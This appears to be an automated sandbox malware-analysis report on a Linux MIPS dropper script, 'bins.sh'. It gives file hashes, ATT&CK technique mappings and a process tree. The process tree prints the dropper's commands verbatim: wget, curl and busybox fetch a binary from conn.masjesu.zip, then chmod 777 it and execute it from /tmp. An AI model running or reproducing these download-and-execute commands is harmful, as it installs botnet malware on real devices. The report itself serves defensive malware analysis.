080cc74955fcef1f89a0fd18d5a2864727cc4f8a77c0913fc675d78b53e86eff

Analysis

max time kernel
135s
max time network
144s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
25-11-2024 17:16

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General

Target

bins.sh
Size

10KB
MD5

0bab677bb7dbabe1a9fb60b3a7b95b58
SHA1

877d5a90a48d6dabfe14b245ea85a8f73354471d
SHA256

080cc74955fcef1f89a0fd18d5a2864727cc4f8a77c0913fc675d78b53e86eff
SHA512

7ec83ab03370addcc929b955531178bd158f1dd67a7c066923c3297b2a3278c264b633bbe8b7ab8557d658ebadf46427074338cdcdf59ee1682ae9734ad51f2c
SSDEEP

192:8kgtKqNBM8XGG/9VY9q9d9k9I9AtTyHkgtKqjdXb9VY9q9d9k9I9CHN:CBMGGG/9y9q9d9k9I9AtONVb9y9q9d9+

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

852 chmod
Executes dropped EXE 1 IoCs

Processes:

VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr

ioc pid process

/tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr 853 VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.
discovery

Processes:

curl

description ioc process

File opened for reading /proc/sys/crypto/fips_enabled curl
System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetcurlbusyboxwget

pid process

744 wget
849 curl
851 busybox
856 wget

pid	process
852	chmod

ioc	pid	process
/tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr	853	VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

pid	process
744	wget
849	curl
851	busybox
856	wget

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr	wget
File opened for modification	/tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr	curl
File opened for modification	/tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:739
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:742
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:851
- /bin/chmod
  chmod 777 VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  ./VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  2⤵
  - Executes dropped EXE
  PID:853
- /bin/rm
  rm VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  2⤵
  PID:855
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
  2⤵
  - System Network Configuration Discovery
  PID:856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

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